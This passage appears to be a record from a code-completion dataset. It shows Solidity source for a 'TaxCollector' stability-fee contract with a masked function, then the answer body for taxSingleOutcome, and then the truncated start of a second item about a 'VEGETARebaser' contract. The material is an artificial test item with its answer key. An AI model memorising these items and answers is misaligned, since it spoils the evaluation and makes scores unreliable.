int(x) * y; require(int(x) >= 0); require(y == 0 || z / y == int(x)); } function multiply(int x, int y) internal pure returns (int z) { require(y == 0 || (z = x * y) / y == x); } function rmultiply(uint x, uint y) internal pure returns (uint z) { z = x * y; require(y == 0 || z / y == x); z = z / RAY; } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Administration --- /** * @notice Initialize a brand new collateral type * @param collateralType Collateral type name (e.g ETH-A, TBTC-B) */ function initializeCollateralType(bytes32 collateralType) external isAuthorized { CollateralType storage collateralType_ = collateralTypes[collateralType]; require(collateralType_.stabilityFee == 0, "TaxCollector/collateral-type-already-init"); collateralType_.stabilityFee = RAY; collateralType_.updateTime = now; collateralList.push(collateralType); emit InitializeCollateralType(collateralType); } /** * @notice Modify collateral specific uint params * @param collateralType Collateral type who's parameter is modified * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters( bytes32 collateralType, bytes32 parameter, uint data ) external isAuthorized { require(now == collateralTypes[collateralType].updateTime, "TaxCollector/update-time-not-now"); if (parameter == "stabilityFee") collateralTypes[collateralType].stabilityFee = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters( collateralType, parameter, data ); } /** * @notice Modify general uint params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint data) external isAuthorized { if (parameter == "globalStabilityFee") globalStabilityFee = data; else if (parameter == "maxSecondaryReceivers") maxSecondaryReceivers = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } /** * @notice Modify general address params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, address data) external isAuthorized { require(data != address(0), "TaxCollector/null-data"); if (parameter == "primaryTaxReceiver") primaryTaxReceiver = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } /** * @notice Set whether a tax receiver can incur negative fees * @param collateralType Collateral type giving fees to the tax receiver * @param position Receiver position in the list * @param val Value that specifies whether a tax receiver can incur negative rates */ function modifyParameters( bytes32 collateralType, uint256 position, uint256 val ) external isAuthorized { if (both(secondaryReceiverList.isNode(position), secondaryTaxReceivers[collateralType][position].taxPercentage > 0)) { secondaryTaxReceivers[collateralType][position].canTakeBackTax = val; } else revert("TaxCollector/unknown-tax-receiver"); emit ModifyParameters( collateralType, position, val ); } /** * @notice Create or modify a secondary tax receiver's data * @param collateralType Collateral type that will give SF to the tax receiver * @param position Receiver position in the list. Used to determine whether a new tax receiver is created or an existing one is edited * @param taxPercentage Percentage of SF offered to the tax receiver * @param receiverAccount Receiver address */ function modifyParameters( bytes32 collateralType, uint256 position, uint256 taxPercentage, address receiverAccount ) external isAuthorized { (!secondaryReceiverList.isNode(position)) ? addSecondaryReceiver(collateralType, taxPercentage, receiverAccount) : modifySecondaryReceiver(collateralType, position, taxPercentage); emit ModifyParameters( collateralType, position, taxPercentage, receiverAccount ); } // --- Tax Receiver Utils --- /** * @notice Add a new secondary tax receiver * @param collateralType Collateral type that will give SF to the tax receiver * @param taxPercentage Percentage of SF offered to the tax receiver * @param receiverAccount Tax receiver address */ function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal { require(receiverAccount != address(0), "TaxCollector/null-account"); require(receiverAccount != primaryTaxReceiver, "TaxCollector/primary-receiver-cannot-be-secondary"); require(taxPercentage > 0, "TaxCollector/null-sf"); require(usedSecondaryReceiver[receiverAccount] == 0, "TaxCollector/account-already-used"); require(addition(secondaryReceiversAmount(), ONE) <= maxSecondaryReceivers, "TaxCollector/exceeds-max-receiver-limit"); require(addition(secondaryReceiverAllotedTax[collateralType], taxPercentage) < HUNDRED, "TaxCollector/tax-cut-exceeds-hundred"); secondaryReceiverNonce = addition(secondaryReceiverNonce, 1); latestSecondaryReceiver = secondaryReceiverNonce; usedSecondaryReceiver[receiverAccount] = ONE; secondaryReceiverAllotedTax[collateralType] = addition(secondaryReceiverAllotedTax[collateralType], taxPercentage); secondaryTaxReceivers[collateralType][latestSecondaryReceiver].taxPercentage = taxPercentage; secondaryReceiverAccounts[latestSecondaryReceiver] = receiverAccount; secondaryReceiverRevenueSources[receiverAccount] = ONE; secondaryReceiverList.push(latestSecondaryReceiver, false); emit AddSecondaryReceiver( collateralType, secondaryReceiverNonce, latestSecondaryReceiver, secondaryReceiverAllotedTax[collateralType], secondaryReceiverRevenueSources[receiverAccount] ); } /** * @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type) * @param collateralType Collateral type that will give SF to the tax receiver * @param position Receiver's position in the tax receiver list * @param taxPercentage Percentage of SF offered to the tax receiver (ray%) */ function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal { if (taxPercentage == 0) { secondaryReceiverAllotedTax[collateralType] = subtract( secondaryReceiverAllotedTax[collateralType], secondaryTaxReceivers[collateralType][position].taxPercentage ); if (secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] == 1) { if (position == latestSecondaryReceiver) { (, uint256 prevReceiver) = secondaryReceiverList.prev(latestSecondaryReceiver); latestSecondaryReceiver = prevReceiver; } secondaryReceiverList.del(position); delete(usedSecondaryReceiver[secondaryReceiverAccounts[position]]); delete(secondaryTaxReceivers[collateralType][position]); delete(secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]]); delete(secondaryReceiverAccounts[position]); } else if (secondaryTaxReceivers[collateralType][position].taxPercentage > 0) { secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] = subtract(secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]], 1); delete(secondaryTaxReceivers[collateralType][position]); } } else { uint256 secondaryReceiverAllotedTax_ = addition( subtract(secondaryReceiverAllotedTax[collateralType], secondaryTaxReceivers[collateralType][position].taxPercentage), taxPercentage ); require(secondaryReceiverAllotedTax_ < HUNDRED, "TaxCollector/tax-cut-too-big"); if (secondaryTaxReceivers[collateralType][position].taxPercentage == 0) { secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] = addition( secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]], 1 ); } secondaryReceiverAllotedTax[collateralType] = secondaryReceiverAllotedTax_; secondaryTaxReceivers[collateralType][position].taxPercentage = taxPercentage; } emit ModifySecondaryReceiver( collateralType, secondaryReceiverNonce, latestSecondaryReceiver, secondaryReceiverAllotedTax[collateralType], secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] ); } // --- Tax Collection Utils --- /** * @notice Check if multiple collateral types are up to date with taxation */ function collectedManyTax(uint start, uint end) public view returns (bool ok) { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); for (uint i = start; i <= end; i++) { if (now > collateralTypes[collateralList[i]].updateTime) { ok = false; return ok; } } ok = true; } /** * @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end' * in the collateralList) during the next taxation * @param start Index in collateralList from which to start looping and calculating the tax outcome * @param end Index in collateralList at which we stop looping and calculating the tax outcome */ function taxManyOutcome(uint start, uint end) public view returns (bool ok, int rad) { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); int primaryReceiverBalance = -int(safeEngine.coinBalance(primaryTaxReceiver)); int deltaRate; uint debtAmount; for (uint i = start; i <= end; i++) { if (now > collateralTypes[collateralList[i]].updateTime) { (debtAmount, ) = safeEngine.collateralTypes(collateralList[i]); (, deltaRate) = taxSingleOutcome(collateralList[i]); rad = addition(rad, multiply(debtAmount, deltaRate)); } } if (rad < 0) { ok = (rad < primaryReceiverBalance) ? false : true; } else { ok = true; } } /** * @notice Get how much SF will be distributed after taxing a specific collateral type * @param collateralType Collateral type to compute the taxation outcome for */ function taxSingleOutcome(bytes32 collateralType) public view returns (uint, int) {<FILL_FUNCTION_BODY> } // --- Tax Receiver Utils --- /** * @notice Get the secondary tax receiver list length */ function secondaryReceiversAmount() public view returns (uint) { return secondaryReceiverList.range(); } /** * @notice Get the collateralList length */ function collateralListLength() public view returns (uint) { return collateralList.length; } /** * @notice Check if a tax receiver is at a certain position in the list */ function isSecondaryReceiver(uint256 _receiver) public view returns (bool) { if (_receiver == 0) return false; return secondaryReceiverList.isNode(_receiver); } // --- Tax (Stability Fee) Collection --- /** * @notice Collect tax from multiple collateral types at once * @param start Index in collateralList from which to start looping and calculating the tax outcome * @param end Index in collateralList at which we stop looping and calculating the tax outcome */ function taxMany(uint start, uint end) external { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); for (uint i = start; i <= end; i++) { taxSingle(collateralList[i]); } } /** * @notice Collect tax from a single collateral type * @param collateralType Collateral type to tax */ function taxSingle(bytes32 collateralType) public returns (uint) { uint latestAccumulatedRate; if (now <= collateralTypes[collateralType].updateTime) { (, latestAccumulatedRate) = safeEngine.collateralTypes(collateralType); return latestAccumulatedRate; } (, int deltaRate) = taxSingleOutcome(collateralType); // Check how much debt has been generated for collateralType (uint debtAmount, ) = safeEngine.collateralTypes(collateralType); splitTaxIncome(collateralType, debtAmount, deltaRate); (, latestAccumulatedRate) = safeEngine.collateralTypes(collateralType); collateralTypes[collateralType].updateTime = now; emit CollectTax(collateralType, latestAccumulatedRate, deltaRate); return latestAccumulatedRate; } /** * @notice Split SF between all tax receivers * @param collateralType Collateral type to distribute SF for * @param deltaRate Difference between the last and the latest accumulate rates for the collateralType */ function splitTaxIncome(bytes32 collateralType, uint debtAmount, int deltaRate) internal { // Start looping from the latest tax receiver uint256 currentSecondaryReceiver = latestSecondaryReceiver; // While we still haven't gone through the entire tax receiver list while (currentSecondaryReceiver > 0) { // If the current tax receiver should receive SF from collateralType if (secondaryTaxReceivers[collateralType][currentSecondaryReceiver].taxPercentage > 0) { distributeTax( collateralType, secondaryReceiverAccounts[currentSecondaryReceiver], currentSecondaryReceiver, debtAmount, deltaRate ); } // Continue looping (, currentSecondaryReceiver) = secondaryReceiverList.prev(currentSecondaryReceiver); } // Distribute to primary receiver distributeTax(collateralType, primaryTaxReceiver, uint(-1), debtAmount, deltaRate); } /** * @notice Give/withdraw SF from a tax receiver * @param collateralType Collateral type to distribute SF for * @param receiver Tax receiver address * @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary) * @param debtAmount Total debt currently issued * @param deltaRate Difference between the latest and the last accumulated rates for the collateralType */ function distributeTax( bytes32 collateralType, address receiver, uint256 receiverListPosition, uint256 debtAmount, int256 deltaRate ) internal { // Check how many coins the receiver has and negate the value int256 coinBalance = -int(safeEngine.coinBalance(receiver)); // Compute the % out of SF that should be allocated to the receiver int256 currentTaxCut = (receiver == primaryTaxReceiver) ? multiply(subtract(HUNDRED, secondaryReceiverAllotedTax[collateralType]), deltaRate) / int(HUNDRED) : multiply(int(secondaryTaxReceivers[collateralType][receiverListPosition].taxPercentage), deltaRate) / int(HUNDRED); /** If SF is negative and a tax receiver doesn't have enough coins to absorb the loss, compute a new tax cut that can be absorbed **/ currentTaxCut = ( both(multiply(debtAmount, currentTaxCut) < 0, coinBalance > multiply(debtAmount, currentTaxCut)) ) ? coinBalance / int(debtAmount) : currentTaxCut; /** If the tax receiver's tax cut is not null and if the receiver accepts negative SF offer/take SF to/from them **/ if (currentTaxCut != 0) { if ( either( receiver == primaryTaxReceiver, either( deltaRate >= 0, both(currentTaxCut < 0, secondaryTaxReceivers[collateralType][receiverListPosition].canTakeBackTax > 0) ) ) ) { safeEngine.updateAccumulatedRate(collateralType, receiver, currentTaxCut); emit DistributeTax(collateralType, receiver, currentTaxCut); } } } }
contract TaxCollector { using LinkedList for LinkedList.List; // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "TaxCollector/account-not-authorized"); _; } // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event InitializeCollateralType(bytes32 collateralType); event ModifyParameters( bytes32 collateralType, bytes32 parameter, uint data ); event ModifyParameters(bytes32 parameter, uint data); event ModifyParameters(bytes32 parameter, address data); event ModifyParameters( bytes32 collateralType, uint256 position, uint256 val ); event ModifyParameters( bytes32 collateralType, uint256 position, uint256 taxPercentage, address receiverAccount ); event AddSecondaryReceiver( bytes32 collateralType, uint secondaryReceiverNonce, uint latestSecondaryReceiver, uint secondaryReceiverAllotedTax, uint secondaryReceiverRevenueSources ); event ModifySecondaryReceiver( bytes32 collateralType, uint secondaryReceiverNonce, uint latestSecondaryReceiver, uint secondaryReceiverAllotedTax, uint secondaryReceiverRevenueSources ); event CollectTax(bytes32 collateralType, uint latestAccumulatedRate, int deltaRate); event DistributeTax(bytes32 collateralType, address target, int taxCut); // --- Data --- struct CollateralType { // Per second borrow rate for this specific collateral type uint256 stabilityFee; // When SF was last collected for this collateral type uint256 updateTime; } // SF receiver struct TaxReceiver { // Whether this receiver can accept a negative rate (taking SF from it) uint256 canTakeBackTax; // [bool] // Percentage of SF allocated to this receiver uint256 taxPercentage; // [ray%] } // Data about each collateral type mapping (bytes32 => CollateralType) public collateralTypes; // Percentage of each collateral's SF that goes to other addresses apart from the primary receiver mapping (bytes32 => uint) public secondaryReceiverAllotedTax; // [%ray] // Whether an address is already used for a tax receiver mapping (address => uint256) public usedSecondaryReceiver; // [bool] // Address associated to each tax receiver index mapping (uint256 => address) public secondaryReceiverAccounts; // How many collateral types send SF to a specific tax receiver mapping (address => uint256) public secondaryReceiverRevenueSources; // Tax receiver data mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers; address public primaryTaxReceiver; // Base stability fee charged to all collateral types uint256 public globalStabilityFee; // [ray%] // Number of secondary tax receivers ever added uint256 public secondaryReceiverNonce; // Max number of secondarytax receivers a collateral type can have uint256 public maxSecondaryReceivers; // Latest secondary tax receiver that still has at least one revenue source uint256 public latestSecondaryReceiver; // All collateral types bytes32[] public collateralList; // Linked list with tax receiver data LinkedList.List internal secondaryReceiverList; SAFEEngineLike public safeEngine; // --- Init --- constructor(address safeEngine_) public { authorizedAccounts[msg.sender] = 1; safeEngine = SAFEEngineLike(safeEngine_); emit AddAuthorization(msg.sender); } // --- Math --- function rpow(uint x, uint n, uint b) internal pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := b} default {z := 0}} default { switch mod(n, 2) case 0 { z := b } default { z := x } let half := div(b, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, b) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, b) } } } } } uint256 constant RAY = 10 ** 27; uint256 constant HUNDRED = 10 ** 29; uint256 constant ONE = 1; function addition(uint x, uint y) internal pure returns (uint z) { z = x + y; require(z >= x); } function addition(int x, int y) internal pure returns (int z) { z = x + y; if (y <= 0) require(z <= x); if (y > 0) require(z > x); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function subtract(int x, int y) internal pure returns (int z) { z = x - y; require(y <= 0 || z <= x); require(y >= 0 || z >= x); } function deduct(uint x, uint y) internal pure returns (int z) { z = int(x) - int(y); require(int(x) >= 0 && int(y) >= 0); } function multiply(uint x, int y) internal pure returns (int z) { z = int(x) * y; require(int(x) >= 0); require(y == 0 || z / y == int(x)); } function multiply(int x, int y) internal pure returns (int z) { require(y == 0 || (z = x * y) / y == x); } function rmultiply(uint x, uint y) internal pure returns (uint z) { z = x * y; require(y == 0 || z / y == x); z = z / RAY; } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Administration --- /** * @notice Initialize a brand new collateral type * @param collateralType Collateral type name (e.g ETH-A, TBTC-B) */ function initializeCollateralType(bytes32 collateralType) external isAuthorized { CollateralType storage collateralType_ = collateralTypes[collateralType]; require(collateralType_.stabilityFee == 0, "TaxCollector/collateral-type-already-init"); collateralType_.stabilityFee = RAY; collateralType_.updateTime = now; collateralList.push(collateralType); emit InitializeCollateralType(collateralType); } /** * @notice Modify collateral specific uint params * @param collateralType Collateral type who's parameter is modified * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters( bytes32 collateralType, bytes32 parameter, uint data ) external isAuthorized { require(now == collateralTypes[collateralType].updateTime, "TaxCollector/update-time-not-now"); if (parameter == "stabilityFee") collateralTypes[collateralType].stabilityFee = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters( collateralType, parameter, data ); } /** * @notice Modify general uint params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint data) external isAuthorized { if (parameter == "globalStabilityFee") globalStabilityFee = data; else if (parameter == "maxSecondaryReceivers") maxSecondaryReceivers = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } /** * @notice Modify general address params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, address data) external isAuthorized { require(data != address(0), "TaxCollector/null-data"); if (parameter == "primaryTaxReceiver") primaryTaxReceiver = data; else revert("TaxCollector/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } /** * @notice Set whether a tax receiver can incur negative fees * @param collateralType Collateral type giving fees to the tax receiver * @param position Receiver position in the list * @param val Value that specifies whether a tax receiver can incur negative rates */ function modifyParameters( bytes32 collateralType, uint256 position, uint256 val ) external isAuthorized { if (both(secondaryReceiverList.isNode(position), secondaryTaxReceivers[collateralType][position].taxPercentage > 0)) { secondaryTaxReceivers[collateralType][position].canTakeBackTax = val; } else revert("TaxCollector/unknown-tax-receiver"); emit ModifyParameters( collateralType, position, val ); } /** * @notice Create or modify a secondary tax receiver's data * @param collateralType Collateral type that will give SF to the tax receiver * @param position Receiver position in the list. Used to determine whether a new tax receiver is created or an existing one is edited * @param taxPercentage Percentage of SF offered to the tax receiver * @param receiverAccount Receiver address */ function modifyParameters( bytes32 collateralType, uint256 position, uint256 taxPercentage, address receiverAccount ) external isAuthorized { (!secondaryReceiverList.isNode(position)) ? addSecondaryReceiver(collateralType, taxPercentage, receiverAccount) : modifySecondaryReceiver(collateralType, position, taxPercentage); emit ModifyParameters( collateralType, position, taxPercentage, receiverAccount ); } // --- Tax Receiver Utils --- /** * @notice Add a new secondary tax receiver * @param collateralType Collateral type that will give SF to the tax receiver * @param taxPercentage Percentage of SF offered to the tax receiver * @param receiverAccount Tax receiver address */ function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal { require(receiverAccount != address(0), "TaxCollector/null-account"); require(receiverAccount != primaryTaxReceiver, "TaxCollector/primary-receiver-cannot-be-secondary"); require(taxPercentage > 0, "TaxCollector/null-sf"); require(usedSecondaryReceiver[receiverAccount] == 0, "TaxCollector/account-already-used"); require(addition(secondaryReceiversAmount(), ONE) <= maxSecondaryReceivers, "TaxCollector/exceeds-max-receiver-limit"); require(addition(secondaryReceiverAllotedTax[collateralType], taxPercentage) < HUNDRED, "TaxCollector/tax-cut-exceeds-hundred"); secondaryReceiverNonce = addition(secondaryReceiverNonce, 1); latestSecondaryReceiver = secondaryReceiverNonce; usedSecondaryReceiver[receiverAccount] = ONE; secondaryReceiverAllotedTax[collateralType] = addition(secondaryReceiverAllotedTax[collateralType], taxPercentage); secondaryTaxReceivers[collateralType][latestSecondaryReceiver].taxPercentage = taxPercentage; secondaryReceiverAccounts[latestSecondaryReceiver] = receiverAccount; secondaryReceiverRevenueSources[receiverAccount] = ONE; secondaryReceiverList.push(latestSecondaryReceiver, false); emit AddSecondaryReceiver( collateralType, secondaryReceiverNonce, latestSecondaryReceiver, secondaryReceiverAllotedTax[collateralType], secondaryReceiverRevenueSources[receiverAccount] ); } /** * @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type) * @param collateralType Collateral type that will give SF to the tax receiver * @param position Receiver's position in the tax receiver list * @param taxPercentage Percentage of SF offered to the tax receiver (ray%) */ function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal { if (taxPercentage == 0) { secondaryReceiverAllotedTax[collateralType] = subtract( secondaryReceiverAllotedTax[collateralType], secondaryTaxReceivers[collateralType][position].taxPercentage ); if (secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] == 1) { if (position == latestSecondaryReceiver) { (, uint256 prevReceiver) = secondaryReceiverList.prev(latestSecondaryReceiver); latestSecondaryReceiver = prevReceiver; } secondaryReceiverList.del(position); delete(usedSecondaryReceiver[secondaryReceiverAccounts[position]]); delete(secondaryTaxReceivers[collateralType][position]); delete(secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]]); delete(secondaryReceiverAccounts[position]); } else if (secondaryTaxReceivers[collateralType][position].taxPercentage > 0) { secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] = subtract(secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]], 1); delete(secondaryTaxReceivers[collateralType][position]); } } else { uint256 secondaryReceiverAllotedTax_ = addition( subtract(secondaryReceiverAllotedTax[collateralType], secondaryTaxReceivers[collateralType][position].taxPercentage), taxPercentage ); require(secondaryReceiverAllotedTax_ < HUNDRED, "TaxCollector/tax-cut-too-big"); if (secondaryTaxReceivers[collateralType][position].taxPercentage == 0) { secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] = addition( secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]], 1 ); } secondaryReceiverAllotedTax[collateralType] = secondaryReceiverAllotedTax_; secondaryTaxReceivers[collateralType][position].taxPercentage = taxPercentage; } emit ModifySecondaryReceiver( collateralType, secondaryReceiverNonce, latestSecondaryReceiver, secondaryReceiverAllotedTax[collateralType], secondaryReceiverRevenueSources[secondaryReceiverAccounts[position]] ); } // --- Tax Collection Utils --- /** * @notice Check if multiple collateral types are up to date with taxation */ function collectedManyTax(uint start, uint end) public view returns (bool ok) { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); for (uint i = start; i <= end; i++) { if (now > collateralTypes[collateralList[i]].updateTime) { ok = false; return ok; } } ok = true; } /** * @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end' * in the collateralList) during the next taxation * @param start Index in collateralList from which to start looping and calculating the tax outcome * @param end Index in collateralList at which we stop looping and calculating the tax outcome */ function taxManyOutcome(uint start, uint end) public view returns (bool ok, int rad) { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); int primaryReceiverBalance = -int(safeEngine.coinBalance(primaryTaxReceiver)); int deltaRate; uint debtAmount; for (uint i = start; i <= end; i++) { if (now > collateralTypes[collateralList[i]].updateTime) { (debtAmount, ) = safeEngine.collateralTypes(collateralList[i]); (, deltaRate) = taxSingleOutcome(collateralList[i]); rad = addition(rad, multiply(debtAmount, deltaRate)); } } if (rad < 0) { ok = (rad < primaryReceiverBalance) ? false : true; } else { ok = true; } } <FILL_FUNCTION> // --- Tax Receiver Utils --- /** * @notice Get the secondary tax receiver list length */ function secondaryReceiversAmount() public view returns (uint) { return secondaryReceiverList.range(); } /** * @notice Get the collateralList length */ function collateralListLength() public view returns (uint) { return collateralList.length; } /** * @notice Check if a tax receiver is at a certain position in the list */ function isSecondaryReceiver(uint256 _receiver) public view returns (bool) { if (_receiver == 0) return false; return secondaryReceiverList.isNode(_receiver); } // --- Tax (Stability Fee) Collection --- /** * @notice Collect tax from multiple collateral types at once * @param start Index in collateralList from which to start looping and calculating the tax outcome * @param end Index in collateralList at which we stop looping and calculating the tax outcome */ function taxMany(uint start, uint end) external { require(both(start <= end, end < collateralList.length), "TaxCollector/invalid-indexes"); for (uint i = start; i <= end; i++) { taxSingle(collateralList[i]); } } /** * @notice Collect tax from a single collateral type * @param collateralType Collateral type to tax */ function taxSingle(bytes32 collateralType) public returns (uint) { uint latestAccumulatedRate; if (now <= collateralTypes[collateralType].updateTime) { (, latestAccumulatedRate) = safeEngine.collateralTypes(collateralType); return latestAccumulatedRate; } (, int deltaRate) = taxSingleOutcome(collateralType); // Check how much debt has been generated for collateralType (uint debtAmount, ) = safeEngine.collateralTypes(collateralType); splitTaxIncome(collateralType, debtAmount, deltaRate); (, latestAccumulatedRate) = safeEngine.collateralTypes(collateralType); collateralTypes[collateralType].updateTime = now; emit CollectTax(collateralType, latestAccumulatedRate, deltaRate); return latestAccumulatedRate; } /** * @notice Split SF between all tax receivers * @param collateralType Collateral type to distribute SF for * @param deltaRate Difference between the last and the latest accumulate rates for the collateralType */ function splitTaxIncome(bytes32 collateralType, uint debtAmount, int deltaRate) internal { // Start looping from the latest tax receiver uint256 currentSecondaryReceiver = latestSecondaryReceiver; // While we still haven't gone through the entire tax receiver list while (currentSecondaryReceiver > 0) { // If the current tax receiver should receive SF from collateralType if (secondaryTaxReceivers[collateralType][currentSecondaryReceiver].taxPercentage > 0) { distributeTax( collateralType, secondaryReceiverAccounts[currentSecondaryReceiver], currentSecondaryReceiver, debtAmount, deltaRate ); } // Continue looping (, currentSecondaryReceiver) = secondaryReceiverList.prev(currentSecondaryReceiver); } // Distribute to primary receiver distributeTax(collateralType, primaryTaxReceiver, uint(-1), debtAmount, deltaRate); } /** * @notice Give/withdraw SF from a tax receiver * @param collateralType Collateral type to distribute SF for * @param receiver Tax receiver address * @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary) * @param debtAmount Total debt currently issued * @param deltaRate Difference between the latest and the last accumulated rates for the collateralType */ function distributeTax( bytes32 collateralType, address receiver, uint256 receiverListPosition, uint256 debtAmount, int256 deltaRate ) internal { // Check how many coins the receiver has and negate the value int256 coinBalance = -int(safeEngine.coinBalance(receiver)); // Compute the % out of SF that should be allocated to the receiver int256 currentTaxCut = (receiver == primaryTaxReceiver) ? multiply(subtract(HUNDRED, secondaryReceiverAllotedTax[collateralType]), deltaRate) / int(HUNDRED) : multiply(int(secondaryTaxReceivers[collateralType][receiverListPosition].taxPercentage), deltaRate) / int(HUNDRED); /** If SF is negative and a tax receiver doesn't have enough coins to absorb the loss, compute a new tax cut that can be absorbed **/ currentTaxCut = ( both(multiply(debtAmount, currentTaxCut) < 0, coinBalance > multiply(debtAmount, currentTaxCut)) ) ? coinBalance / int(debtAmount) : currentTaxCut; /** If the tax receiver's tax cut is not null and if the receiver accepts negative SF offer/take SF to/from them **/ if (currentTaxCut != 0) { if ( either( receiver == primaryTaxReceiver, either( deltaRate >= 0, both(currentTaxCut < 0, secondaryTaxReceivers[collateralType][receiverListPosition].canTakeBackTax > 0) ) ) ) { safeEngine.updateAccumulatedRate(collateralType, receiver, currentTaxCut); emit DistributeTax(collateralType, receiver, currentTaxCut); } } } }
(, uint lastAccumulatedRate) = safeEngine.collateralTypes(collateralType); uint newlyAccumulatedRate = rmultiply( rpow( addition( globalStabilityFee, collateralTypes[collateralType].stabilityFee ), subtract( now, collateralTypes[collateralType].updateTime ), RAY), lastAccumulatedRate); return (newlyAccumulatedRate, deduct(newlyAccumulatedRate, lastAccumulatedRate));
function taxSingleOutcome(bytes32 collateralType) public view returns (uint, int)
/** * @notice Get how much SF will be distributed after taxing a specific collateral type * @param collateralType Collateral type to compute the taxation outcome for */ function taxSingleOutcome(bytes32 collateralType) public view returns (uint, int)
45020
VEGETARebaser
getAmountOut
contract VEGETARebaser { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov); _; } struct Transaction { bool enabled; address destination; bytes data; } struct UniVars { uint256 vegetasToUni; uint256 amountFromReserves; uint256 mintToReserves; } /// @notice an event emitted when a transaction fails event TransactionFailed(address indexed destination, uint index, bytes data); /// @notice an event emitted when maxSlippageFactor is changed event NewMaxSlippageFactor(uint256 oldSlippageFactor, uint256 newSlippageFactor); /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /** * @notice Sets the treasury mint percentage of rebase */ event NewRebaseMintPercent(uint256 oldRebaseMintPerc, uint256 newRebaseMintPerc); /** * @notice Sets the reserve contract */ event NewReserveContract(address oldReserveContract, address newReserveContract); /** * @notice Sets the reserve contract */ event TreasuryIncreased(uint256 reservesAdded, uint256 vegetasSold, uint256 vegetasFromReserves, uint256 vegetasToReserves); /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); // Stable ordering is not guaranteed. Transaction[] public transactions; /// @notice Governance address address public gov; /// @notice Pending Governance address address public pendingGov; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; /// @notice Percent of rebase that goes to minting for treasury building uint256 public rebaseMintPerc; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; // rebasing is not active initially. It can be activated at T+12 hours from // 